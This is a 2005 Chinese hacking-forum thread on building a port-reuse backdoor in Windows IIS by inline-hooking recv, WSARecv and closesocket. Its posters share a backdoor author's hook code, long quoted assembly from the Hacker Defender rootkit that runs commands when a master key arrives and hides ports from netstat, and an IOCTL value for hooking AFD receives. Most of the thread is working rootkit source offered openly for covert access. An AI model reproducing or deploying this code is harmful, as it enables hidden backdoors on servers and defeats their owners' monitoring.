实现NT端口复用的后门连接(讨论)

    baiyuanfan    
发表于:2005-03-04 10:44  
    发帖: 317
积分: 0
注册: 2004-01-22
    TK曾说过,HXDEF用hook recv和WSARecv的方法来实现端口复用的后门连接。
我现在hook了他们和closesocket,结果试我自己的IIS,closesocket可以捕获,但是recv和WSARecv就没有任何反映!是TK欺骗了我?还是我编程上的问题?各位帮忙看一下
我的代码:
//begin network,do hook recv&WSArecv&closesocket
LoadLibrary("WS2_32.dll");LoadLibrary("wshtcpip.dll");LoadLibrary("WS2HELP.DLL");
LoadLibrary("msafd.dll");//加载必要模块否则在解除映射后可能缺少需要的库
DWORD __stdcall thunkcode();
int len=0;
int tmp;
disasm_struct s;
BYTE* allocaddr;
s.disasm_defdata=s.disasm_defaddr=4;
//recv
BYTE* target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"recv");
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//WSArecv
target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"WSARecv");
len=0;//忘了清0付出惨痛代价
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode+0x64;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//closesocket
target=(BYTE*)GetProcAddress(LoadLibrary("WS2_32.dll"),"closesocket");
len=0;
while(len<5){
len+=disasm(target+len,&s);
}
allocaddr=(BYTE*)thunkcode+0xd4;
memcpy(allocaddr,target,len);
*(int*)(allocaddr+16)=target+len-allocaddr-0x14;//修正thunkcode jmp
VirtualProtect(target,len,PAGE_EXECUTE_READWRITE,(DWORD*)&tmp);
*target=0xe9;
*(DWORD*)(target+1)=allocaddr+0x14-target-5;
//hook complete
while(1){Sleep(100);
dwThreadId=0;DWORD WINAPI threadfunc( LPVOID lpParam );
if(sockuse){
__asm int 3;
threadfunc((void*)sockuse);sockuse=0;}
}
return 0;}

__declspec(naked)
DWORD __stdcall thunkcode(){
__asm{//没有移动位置故不需要重定位
orirecv:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分    
    
myrecv://offest:0x14
push ebp
mov ebp,esp
push [ebp+14h]
push [ebp+10h]
push [ebp+0ch]
push [ebp+8]
call orirecv
cmp sockuse,0
jnz noaction1
cmp eax,0
jz noaction1
cmp eax,SOCKET_ERROR
jz noaction1
mov esi,[ebp+0ch]
mov edi,offset characteristic
cld
mov ecx,10h
int 3
repz cmpsb
jz manipulateit1
noaction1:
pop ebp
ret 10h

manipulateit1:
mov edx,[ebp+8]
mov sockuse,edx
mov eax,0
pop ebp
ret 10h


oriWSARecv://offset:0x64
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分    
    
myWSARecv:
push ebp
mov ebp,esp
push [ebp+20h]
push [ebp+1ch]
push [ebp+18h]
push [ebp+14h]
push [ebp+10h]
push [ebp+0ch]
push [ebp+8]
call oriWSARecv
cmp sockuse,0
jnz noaction2
cmp eax,0
jz noaction2
cmp eax,SOCKET_ERROR
jz noaction2
mov esi,[ebp+0ch]
mov esi,[esi+4]
mov edi,offset characteristic
cld
mov ecx,10h
int 3
repz cmpsb
jz manipulateit2
noaction2:
pop ebp
ret 1ch

manipulateit2:
mov edx,[ebp+8]
mov sockuse,edx
mov eax,0
pop ebp
ret 1ch

oriclosesocket://0xd4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
//15个nop留下应该够了
__emit 0xe9
__emit 0
__emit 0
__emit 0
__emit 0
//跳回原来的API后面部分    
    
myclosesocket://offest:0x
push ebp
mov ebp,esp
mov eax,sockuse
int 3
cmp eax,[ebp+8]
jz manipulate3
noaction3:
push [ebp+8]
call oriclosesocket
pop ebp
ret 4
manipulate3:
pop ebp
xor eax,eax
ret 4


characteristic:
__emit 19h
__emit 85h
__emit 08h
__emit 28h
__emit 'b'
__emit 'a'
__emit 'i'
__emit 'y'
__emit 'u'
__emit 'a'
__emit 'n'
__emit 'f'
__emit 'a'
__emit 'n'
__emit 'g'
__emit 0ffh
__emit 0h

    
}
}
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     flashsky    
发表于:2005-03-04 11:09  
    发帖: 1120
积分: 75
注册: 2002-09-04
    在2002的XCON里,我的议题部分涉及HOOK recv/wsarecv的技术
当时就谈到了一个问题,针对完成端口的SOCKET编程模式,HOOK recv/wsarecv会存在一些问题.
而不幸的是,IIS里的全部是采用完成端口模式编写的SOCKET,因此你就无须抱怨TK了
---
无论将来我们多么富有,或者多么有成就,我们必须站在苦难者的一边,因为那是做人的立场     baiyuanfan    
发表于:2005-03-04 12:35  
    发帖: 317
积分: 0
注册: 2004-01-22
    谢谢闪空提醒,呵呵,我回去换个断点位置试试。
异步的重叠IO模式真是麻烦呀。
PS:TK的RP有WT,不抱怨他抱怨谁?不抱怨也要找理由抱怨,嘿嘿。。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     baiyuanfan    
发表于:2005-03-04 23:27  
    发帖: 317
积分: 0
注册: 2004-01-22
    今天做了实验,完成端口模式编写的SOCKET下,在截获了WSARecv返回的数据缓冲区里并没有我们想要的数据,而这些数据应该会在 CompletionRoutine或者EVENT产生时返回到缓冲区。郁闷呀,FS,TK,glacier等高手们帮忙啊,我该怎么办呢?谢谢各位呀
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     MustBE    
发表于:2005-03-06 09:46  
    发帖: 8
积分: 0
注册: 2004-03-21
    根据具体用处的不同,建议你改用ipfilterdriver或firewall-hook(主要区别在于是否要处理transmit出去的数据)     cocoruder    
发表于:2005-03-06 10:54  
    发帖: 347
积分: 1
注册: 2003-10-09
    关注ing...     baiyuanfan    
发表于:2005-03-06 13:45  
    发帖: 317
积分: 0
注册: 2004-01-22
    限制用ring3级hook,这个项目中不考虑ring0的实现方案
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     baiyuanfan    
发表于:2005-03-06 19:18  
    发帖: 317
积分: 0
注册: 2004-01-22
    摘自Network Programming for Windows:
Wi n s o c k提供了一些有趣的I / O模型,有助于应用程序通过一种“异步”方式,一次对一个或多个套接字上进行的
通信加以管理。这些模型包括s e l e c t(选择)、W S A A s y n c S e l e c t(异步选择)、W S A E v e n t S e l e c t(事件选择)、Overlapped I/O(重叠式I / O)以及Completion port(完成端口)等等。
我的理解:
1是阻塞式的,2和3是非重叠异步式的,他们应该是都在事件触发之后再调用一次recv/wsarecv,对我们的hook没有影响。然而后两者是重叠式的异步IO,在WSARecv失败之后到事件发生时数据已经到达了buffer而没有再经过一次recv/wsarecv调用。
因此我们拦截recv/wsarecv似乎无效。
请高手指点!谢谢
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     glacier    
发表于:2005-03-07 00:28  
    发帖: 1880
积分: 26
注册: 2001-03-04
    你HOOK IIS的send函数成功了吗?
---
浮生事,苦海舟,荡去漂来不自由     baiyuanfan    
发表于:2005-03-07 09:43  
    发帖: 317
积分: 0
注册: 2004-01-22
    这个项目里不需要hook send函数,所以没有做实验。但是我想对于异步重叠IO来说,wsasend和wsarecv应该是一样吧
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     1haoyu    
发表于:2005-03-07 16:10  
    发帖: 3061
积分: 0
注册: --
    顶,问题关注中     jackiefzj    
发表于:2005-03-07 19:19  
    发帖: 48
积分: 0
注册: 2003-09-24
    hxdef就是拦截WSARecv和recv,而且也实现了完成端口的拦截
可以参考一下
这几天也在弄这个问题,可惜看到hxdef那一堆的汇编和delphi就头痛     dumplogin    
发表于:2005-03-07 19:53  
    发帖: 199
积分: 0
注册: 2003-08-16
    咋就不考虑一下ReadFile/WriteFile 呢     baiyuanfan    
发表于:2005-03-07 20:07  
    发帖: 317
积分: 0
注册: 2004-01-22
    楼上的兄弟说深入一些好吗?小弟是菜鸟
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     baiyuanfan    
发表于:2005-03-08 19:33  
    发帖: 317
积分: 0
注册: 2004-01-22
    dumplogin老兄,我对WSOCK不是很了解啊!你的意思是不是:
非重叠IO的异步WSARecv是在得到TDI的数据到来通知后,是又调用了一次WSARecv,不影响hook
而重叠IO的WSARecv在得到TDI的数据到来通知后虽然没有再调用一次WSARecv,数据就到了缓冲区,但是其实是在收到通知后调用了NtReadFile?

而且进一步,是不是所有(wsa)recv函数实际都是通过NtReadFile实现?

但是我看过一些TDI的驱动,他的数据收发是在IRP_MJ_INTERNAL_DEVICE_CONTROL里的TDI_XXXXXXX函数实现的,和普通的FSD不一样。

谢谢指教!
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     dumplogin    
发表于:2005-03-09 10:35  
    发帖: 199
积分: 0
注册: 2003-08-16
    我的意思是说, windows想读取SOCKET的内容,并不一定只有recv/wsarecv, 用ReadFile照样可以读, WriteFile可写.
你思路局限在WSOCK上面, 可能会碰到无法解决的东西.     baiyuanfan    
发表于:2005-03-09 10:53  
    发帖: 317
积分: 0
注册: 2004-01-22
    其实我主要是问recv/wsarecv或者重叠IO的recv/wsarecv最后是调用了NtReadFile还是就是NtDeviceIOControl?
即使如果是NtReadFile,那个filehandle和socket之间有什么样的对应关系??返回值的意义相同吗?
而且如果在NtReadFile中指定了userAPC的参数的话,我们hook NtReadFile也一样没有用吧,除非去hook那个APC
谢谢各位高手指教啊
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day     dang0102    
发表于:2005-03-11 15:42  
    发帖: 35
积分: 0
注册: 2004-11-10
    同意dumplogin 的说法,我自己测试hook SVCHOST(RPC 服务)进程中的recv,替换的函数包括wsock32和ws2_32中的recv()。在此之前普通程序可以成功,但是在该进程却通不过。我当时就怀疑是该进程中接受socket数据的函数不是recv。
    继续研究!     baiyuanfan    
发表于:2005-03-12 17:36  

    发帖: 317
积分: 0
注册: 2004-01-22
    花了两天工夫看了看黑客守卫者的代码,终于发现了问题,TK说的不完全正确,recv/wsarecv的确是hook了,但是还有些更重要的,大家看看:

1  recv/wsarecv
//TWSARecv=function(const ASock:TSocket;ABuffers:LPWSABUF;ABufferCount:DWORD;var VNumberOfBytesRecvd:DWORD;var VFlags:DWORD;AOverlapped:LPWSAOVERLAPPED;ACompletionRoutine:LPWSAOVERLAPPED_COMPLETION_ROUTINE):Integer; stdcall;
@fNewWSARecv:
  push 004h                                     //local variables
  call @NewAPIHead
  {
   -004         -       LResult:Cardinal
  }

  mov dword ptr [ebp-004h],SOCKET_ERROR

  mov edi,[ebp+01Ch]
  mov esi,[ebp+014h] //newfeature

  lea eax,[ebx+@HT_OldWSARecv]
  test dword ptr [eax+011h],-001h
  jz @fNewWSARecv_end
  push dword ptr [ebp+020h]                     //ACompletionRoutine
  push dword ptr [ebp+01Ch]                     //AOverlapped
  push dword ptr [ebp+018h]                     //VFlags
  push dword ptr [ebp+014h]                     //VNumberOfBytesRecvd
  push dword ptr [ebp+010h]                     //ABufferCount
  push dword ptr [ebp+00Ch]                     //ABuffers
  push dword ptr [ebp+008h]                     //ASock
  call eax
  mov [ebp-004h],eax
  test eax,eax
  jz @fNewWSARecv_nulres
  inc eax
  jnz @fNewWSARecv_gotbuf
  call [ebx+@WSAGetLastErrorAddr]
  cmp eax,ERROR_IO_PENDING
  jnz @fNewWSARecv_end

@fNewWSARecv_nulres:
  test edi,edi
  jnz @fNewWSARecv_overlapped
  mov eax,[esi]
  test eax,eax
  jz @fNewWSARecv_end
  inc eax
  jmp @fNewWSARecv_gotbuf

@fNewWSARecv_overlapped:
  mov eax,[ebp+00Ch]
  mov eax,[eax+004h]
  test eax,eax
  jz @fNewWSARecv_end
  mov esi,eax
  push MASTER_KEY_LEN
  push esi
  call [ebx+@IsBadReadPtrAddr]
  test eax,eax
  jnz @fNewWSARecv_lookaround
  lea edi,[ebx+@cMasterKey]
  call @cmp2pchars_casesens
  test eax,eax
  jnz @fNewWSARecv_doexec
@fNewWSARecv_lookaround:
  sub esi,MASTER_KEY_LEN
  push MASTER_KEY_LEN
  push esi
  call [ebx+@IsBadReadPtrAddr]
  test eax,eax
  jnz @fNewWSARecv_end
  jmp @fNewWSARecv_DoCompareBuf

@fNewWSARecv_gotbuf:
  cmp eax,MASTER_KEY_LEN+1
  jne @fNewWSARecv_end
  mov esi,[ebp+00Ch]
  mov esi,[esi+004h]
@fNewWSARecv_DoCompareBuf:
  lea edi,[ebx+@cMasterKey]
  call @cmp2pchars_casesens
  test eax,eax
  jz @fNewWSARecv_end

@fNewWSARecv_doexec:
  xor eax,eax
  mov [esi],eax
  push dword ptr [ebp+008h]
  call @DoExec
  xor eax,eax
  mov ecx,[ebp+014h]
  mov [ecx],eax
  mov [ebp-004h],eax

@fNewWSARecv_end:
  push 01Ch
  jmp @NewAPITail

2  更重要的,嘿嘿。

//TReadFile=function(AFile:THandle;ABuffer:Pointer;ANumberOfBytesToRead:DWORD;ANumberOfBytesRead:PDWORD;AOverlapped:POverlapped):BOOL;stdcall;
@fNewReadFile:
  push 004h                                     //local variables
  call @NewAPIHead
  {
   -004         -       LResult:Boolean
  }

  push 000h
  pop dword ptr [ebp-004h]

  lea eax,[ebx+@HT_OldReadFile]
  test dword ptr [eax+011h],-001h
  jz @fNewReadFile_end
  mov esi,[ebp+00Ch]
  push dword ptr [ebp+018h]             //AOverlapped
  push dword ptr [ebp+014h]             //ANumverOfBytesRead
  push dword ptr [ebp+010h]             //ANumverOfBytesToRead
  push dword ptr [ebp+00Ch]             //ABuffer
  push dword ptr [ebp+008h]             //AFile
  call eax
  mov [ebp-004h],eax

  mov ecx,eax
  mov eax,[ebp+014h]
  test eax,eax
  jz @fNewReadFile_overlapped
  mov eax,[eax]
  inc eax
  test ecx,ecx
  jnz @fNewReadFile_gotbuf

@fNewReadFile_overlapped:
  call [ebx+@GetLastErrorAddr]
  cmp eax,ERROR_IO_PENDING
  jnz @fNewReadFile_end

  test esi,esi  //newfeature
  jz @fNewReadFile_end
  push MASTER_KEY_LEN
  push esi
  call [ebx+@IsBadReadPtrAddr]
  test eax,eax
  jnz @fNewReadFile_lookaround
  lea edi,[ebx+@cMasterKey]
  call @cmp2pchars_casesens
  test eax,eax
  jnz @fNewReadFile_doexec
@fNewReadFile_lookaround:
  sub esi,MASTER_KEY_LEN
  push MASTER_KEY_LEN
  push esi
  call [ebx+@IsBadReadPtrAddr]
  test eax,eax
  jnz @fNewReadFile_end
  push MASTER_KEY_LEN
  pop ecx
@fNewReadFile_lookaround_loop:
  push ecx
  lea edi,[ebx+@cMasterKey]
  call @cmp2pchars_casesens
  pop ecx
  test eax,eax
  jnz @fNewReadFile_doexec
  inc esi
  loop @fNewReadFile_lookaround_loop
  jmp @fNewReadFile_end

@fNewReadFile_gotbuf:
  cmp eax,MASTER_KEY_LEN+1
  jne @fNewReadFile_end
  mov esi,[ebp+00Ch]
@fNewReadFile_DoCompareBuf:
  lea edi,[ebx+@cMasterKey]
  call @cmp2pchars_casesens
  test eax,eax
  jz @fNewReadFile_end

@fNewReadFile_doexec:
  xor eax,eax
  mov [esi],eax
  push dword ptr [ebp+008h]
  call @DoExec
  xor eax,eax
  inc eax
  mov [ebp-004h],eax
  mov eax,[ebp+00Ch]
  mov [eax],000h
  mov eax,[ebp+014h]
  test eax,eax
  jz @fNewReadFile_end
  mov [eax],000h

@fNewReadFile_end:
  push 014h
  jmp @NewAPITail

3  还有一个就是NtDeviceIoControlFile似乎和后门连接没关系

//TNtDeviceIoControlFile=function(AFileHandle,AEvent:THandle;AApcRoutine,AApcContext,AIoStatusBlock:Pointer;AIoControlCode:Cardinal;AInputBuffer:Pointer;AInputBufferLength:Cardinal;AOutputBuffer:Pointer;AOutputBufferLength:Cardinal):Cardinal;stdcall;
@fNewNtDeviceIoControlFile:
  push 090h                             //local variables
  {
   -090..014    -       LBuf:array of Char
   -010         -       LLocPortOfs:Cardinal
   -00C         -       LROWSize:Cardinal
   -008         -       LFileMappingAddr:Pointer
   -004         -       LResult:Boolean
  }
  call @NewAPIHead
  push 000h
  pop dword ptr [ebp-004h]

  lea eax,[ebx+@HT_OldNtDeviceIoControlFile]
  test dword ptr [eax+011h],-001h
  jz @fNewNtDeviceIoControlFile_end
  push dword ptr [ebp+02Ch]                     //AOutputBufferLength
  push dword ptr [ebp+028h]                     //AOutputBuffer
  push dword ptr [ebp+024h]                     //AInputBufferLength
  push dword ptr [ebp+020h]                     //AInputBuffer
  push dword ptr [ebp+01Ch]                     //AIoControlCode
  push dword ptr [ebp+018h]                     //AIoStatusBlock
  push dword ptr [ebp+014h]                     //AApcContext
  push dword ptr [ebp+010h]                     //AApcRoutine
  push dword ptr [ebp+00Ch]                     //AEvent
  push dword ptr [ebp+008h]                     //AFileHandle
  call eax
  mov [ebp-004h],eax
  test eax,eax
  jnz @fNewNtDeviceIoControlFile_end
  mov eax,[ebp+01Ch]                            //AIoControlCode
  cmp eax,000120003h
  jz @fNewNtDeviceIoControlFile_query
  cmp eax,000210012h
  jnz @fNewNtDeviceIoControlFile_end
@fNewNtDeviceIoControlFile_query:
  lea esi,[ebp-090h]                            //LBuf
  push 000h
  pop [esi]

  push 000h                                     //ReturnLength
  push 07Ch                                     //ObjectInformationLength
  push esi                                      //ObjectInformation
  push 001h                                     //ObjectInformationClass = ObjectNameInformation
  push [ebp+008h]                               //ObjectHandle
  call [ebx+@NtQueryObjectAddr]
{  test eax,eax
  jnz @fNewNtDeviceIoControlFile_end}
  xor eax,eax                                   //cuz of NT4 :(

  push 004h
  pop dword ptr [ebp-010h]                      //LLocPortOfs = UDP
  mov [ebp-00Ch],MIB_UDPROW_SIZE                //LROWSize = UDP
  movzx ecx,word ptr [esi]                      //ecx -> length in AnsiString
  test ecx,ecx
  jz @fNewNtDeviceIoControlFile_end
  add esi,008h                                  //edi -> name in AnsiString
  mov [esi+ecx],ax                              //add null on the end of wchar

  lea edi,[ebx+@cDeviceTCP]
  call @cmp_wide_pchar_caseinsens
  xor ecx,ecx
  test eax,eax
  jnz @fNewNtDeviceIoControlFile_relevant
  lea edi,[ebx+@cDeviceUDP]
  call @cmp_wide_pchar_caseinsens
  test eax,eax
  jz @fNewNtDeviceIoControlFile_end
  push 01h
  pop ecx
@fNewNtDeviceIoControlFile_relevant:
  mov eax,[ebp+01Ch]                            //AIoControlCode
  cmp eax,000120003h
  jz @fNewNtDeviceIoControlFile_like_netstat
                          
  cmp dword ptr [ebp+024h],TDI_CONN_IN_SIZE     //AInputBufferLength
  jnz @fNewNtDeviceIoControlFile_end
  mov eax,[ebp+020h]
  mov eax,[eax+010h]                            //TdiConnIn.RemoteAddressLength
  sub eax,03h                                   //should be 3
  jz @fNewNtDeviceIoControlFile_like_fport
  dec eax                                       //or 4
  jnz @fNewNtDeviceIoControlFile_end
@fNewNtDeviceIoControlFile_like_fport:         //TCP: ecx = 0 | UDP: ecx = 1
  mov esi,[ebp+028h]                            //AOutputBuffer
  test esi,esi
  jz @fNewNtDeviceIoControlFile_end
  push ecx

  call @OpenFileMapping
  test eax,eax
  jz @fNewNtDeviceIoControlFile_pend
  mov [ebp-008h],eax
  mov edi,eax

  push FMP_HIDDEN_PORTS
  call @GetFileMappingConst
  pop ecx
  jecxz @fNewNtDeviceIoControlFile_fgo
  movzx eax,word ptr [edi]
  shl eax,001h
  add edi,eax                                   //number of TCP ports * 2 (sizeof(ushort))
  inc edi
  inc edi                                       //+ sizeof(ushort)
@fNewNtDeviceIoControlFile_fgo:
  inc edi
  inc edi                                       //+ sizeof(ushort)
  xor eax,eax
  xchg esi,edi
  movzx ecx,word ptr [edi+00Ch]
  xchg ch,cl                                    //htons :)
@fNewNtDeviceIoControlFile_floop:
  lodsw
  test eax,eax
  jz @fNewNtDeviceIoControlFile_CloseMapping
  cmp eax,ecx
  jnz @fNewNtDeviceIoControlFile_floop
  mov [ebp-004h],0C0000141h                     //STATUS_INVALID_ADDRESS
  push TDI_CONN_OUT_FREE_SIZE
  pop ecx
  xor eax,eax
  rep stosb
  mov eax,[ebp+018h]                            //AIoStatusBlock
  test eax,eax
  jz @fNewNtDeviceIoControlFile_CloseMapping
  mov [eax+004h],ecx
  jmp @fNewNtDeviceIoControlFile_CloseMapping

@fNewNtDeviceIoControlFile_like_netstat:       //and fport xp
  cmp dword ptr [ebp+024h],024h                 //AInputBufferLength
  jb @fNewNtDeviceIoControlFile_end             //should be => 024h
  mov ecx,[ebp+020h]                            //AInputBuffer
  cmp byte ptr [ecx+001h],004h                  //2nd byte of AInputBuffer
  jne @fNewNtDeviceIoControlFile_end            //should be = 004h
  cmp byte ptr [ecx+011h],001h                  //17th byte of AInputBuffer
  jne @fNewNtDeviceIoControlFile_end            //should be = 001h
  movzx eax,byte ptr [ecx]                      //0 if TCP, 1 if UDP
  push eax
  dec eax
  jz @fNewNtDeviceIoControlFile_dif_ex
  add dword ptr [ebp-00Ch],MIB_TCPROW_SIZE-MIB_UDPROW_SIZE      //LROWSize = TCP
  add dword ptr [ebp-010h],004h                 //LLocPortOfs = TCP

@fNewNtDeviceIoControlFile_dif_ex:
  movzx eax,byte ptr [ecx+010h]                 //1 = normal, 2 = extended
  dec eax
  jz @fNewNtDeviceIoControlFile_OpenMapping
  dec eax
  jnz @fNewNtDeviceIoControlFile_pend           //no normal, no ex?
  add dword ptr [ebp-00Ch],004h                 //extended = + PID
@fNewNtDeviceIoControlFile_OpenMapping:
  call @OpenFileMapping
  test eax,eax
  jz @fNewNtDeviceIoControlFile_pend
  mov [ebp-008h],eax
  mov edi,eax

  push FMP_HIDDEN_PORTS
  call @GetFileMappingConst
  pop ecx
  jecxz @fNewNtDeviceIoControlFile_go
  movzx eax,word ptr [edi]
  shl eax,001h
  add edi,eax                                   //number of TCP ports * 2 (sizeof(ushort))
  inc edi
  inc edi                                       //+ sizeof(ushort)

@fNewNtDeviceIoControlFile_go:
  inc edi
  inc edi                                       //edi on tcp | udp ports

  mov esi,[ebp+028h]                            //AOutputBuffer

  mov eax,[ebp+018h]                            //AIoStatusBlock
  mov eax,[eax+004h]                            //AIoStatusBlock.Information
  cdq

  push dword ptr [ebp-00Ch]                     //LROWSize
  pop ecx

  div ecx
  xchg edx,eax                                  //edx should be 0 after div

  test eax,eax
  jnz @fNewNtDeviceIoControlFile_CloseMapping
  test edx,edx
  jz @fNewNtDeviceIoControlFile_CloseMapping

  xchg esi,edi
@fNewNtDeviceIoControlFile_row_loop:
  push esi
@fNewNtDeviceIoControlFile_port_loop:
  lodsw                                         //eax -> hidden port number
  test eax,eax
  jz @fNewNtDeviceIoControlFile_next_row
  xchg ah,al                                    //ntohs
  mov ecx,[ebp-010h]                            //LLocPortOfs
  cmp eax,[edi+ecx]                             //MIB_[TCP|UDP]ROW.dwLocalPort
  jnz @fNewNtDeviceIoControlFile_port_loop
  push edi
  push esi
  push edx

  push dword ptr [ebp-00Ch]                     //LROWSize
  pop ecx
  push ecx

  mov eax,edx
  dec eax
  cdq
  mul ecx

  mov ecx,eax
  mov eax,[ebp-00Ch]                            //LROWSize
  lea esi,[edi+eax]
  rep movsb

  mov eax,[ebp+018h]                            //AIoStatusBlock
  mov ecx,[ebp-00Ch]                            //LROWSize
  sub dword ptr [eax+004h],ecx                  //AIoStatusBlock.Information

  pop ecx
  xor eax,eax
  rep stosb                                     //del last record
                                                //we don't need this cuz of changing AIoStatusBlock.Information
                                                //but would be possible to detect hxdef when
                                                //debugging netstat cuz may be quite strange to have last record
                                                //copied several times after the end of AOutputBuffer

  pop edx
  pop esi
  pop edi
  jmp @fNewNtDeviceIoControlFile_next_record

@fNewNtDeviceIoControlFile_next_row:
  add edi,[ebp-00Ch]

@fNewNtDeviceIoControlFile_next_record:
  pop esi
  dec edx
  jnz @fNewNtDeviceIoControlFile_row_loop

@fNewNtDeviceIoControlFile_CloseMapping:
  push dword ptr [ebp-008h]
  call @CloseFileMapping
  push ecx
@fNewNtDeviceIoControlFile_pend:
  pop ecx
@fNewNtDeviceIoControlFile_end:
  push 028h
  jmp @NewAPITail


各位大牛可要评论呀。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day

  baiyuanfan  

发表于:2005-03-12 17:40  
  发帖: 317
积分: 0
注册: 2004-01-22
  另外说下我自己挂接iis的wsarecv/recv的结果,在客户连接时的确有wsarecv调用,但是这个调用会阻塞,在阻塞的时间里客户端已经得到了网页的数据,网页已经显示了出来。一段明显的延迟后,wsarecv才返回。而且是返回-1。我也比较晕,毕竟是菜鸟,等各位大虾评论吧,希望各位教教小弟。
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   gsid  
发表于:2005-03-13 17:07  
  发帖: 15
积分: 0
注册: 2004-08-31
  关注   baiyuanfan  
发表于:2005-03-14 19:23  
  发帖: 317
积分: 0
注册: 2004-01-22
  根据最近向无花果兄讨教的结果,比较可能的是,IIS的完成端口模式,是用wsarecv来传输连接状态,所以我们可以挂钩到wsarecv的调用,但是它并不负责数据传输,所以我们发现它是延时的。而根据hxdef挂钩readfile来判断,IIS可能是用readfile来读取数据。并且知道, IIS6 direct talk to http.sys不通过wsock。所以我觉得不去WIN32API层挂钩是一个好选择。现在看来NtDeviceIoControlFile是个不错的替补对象。

我挂了它,访问自己的IIS,SICE弹出7-8次。看来的确不错。但是还是有问题,这个系统服务未公开,很多参数不知道意义。
    status = NtDeviceIoControlFile(
                 (HANDLE)Handle,
                 event,
                 apcRoutine,
                 apcContext,
                 ioStatusBlock,
                 IOCTL_AFD_RECEIVE,
                 &recvInfo,
                 sizeof(recvInfo),
                 NULL,
                 0
                 );
1。不知道AFD_RECV_INFO结构定义,就不知道buffer的位置,无法提取数据。
2。不知道IOCTL_AFD_RECEIVE的值就没法分辨recv和其他的TDI调用,如accept,closesocket,send等。

强烈希望潜水的高手们露个头,帮助一下:)
---
PowerfulRootkitExploit @SteelKernelGroup 各类后门,木马,Exp,0day   tombkeeper  
发表于:2005-03-15 15:10  
  发帖: 3234
积分: 11
注册: 2001-09-20
  刚才调了一下,你看看能不能用:

#define IOCTL_AFD_RECEIVE    0x00012017

buffer = *(char *)(*(DWORD *)recvInfo + sizeof(DWORD))
---
我寒不能怨人傻
人傻不能怨政府
  baiyuanfan  
发表于:2005-03-15 16:29  
  发帖: 317
积分: 0
注册: 2004-01-22
  把我自己挂它的实验结果放上来。
ntdevioctrl:后面是10个参数的值。invoke result:是返回结果。0成功,103pending
这是我一个get请求截下来的。
ntdevioctrl:670 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:680 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:690 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:780 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:790 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7dc 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7ec 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7fc 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:814 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:824 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:834 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:87c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:88c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:678 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:688 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:778 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:788 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:798 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7e4 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:7f4 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:81c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:82c 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:874 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:884 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
ntdevioctrl:894 8a4 0 0 76fb44 1207b 76fb34 10 76fb34 10
invoke result:0
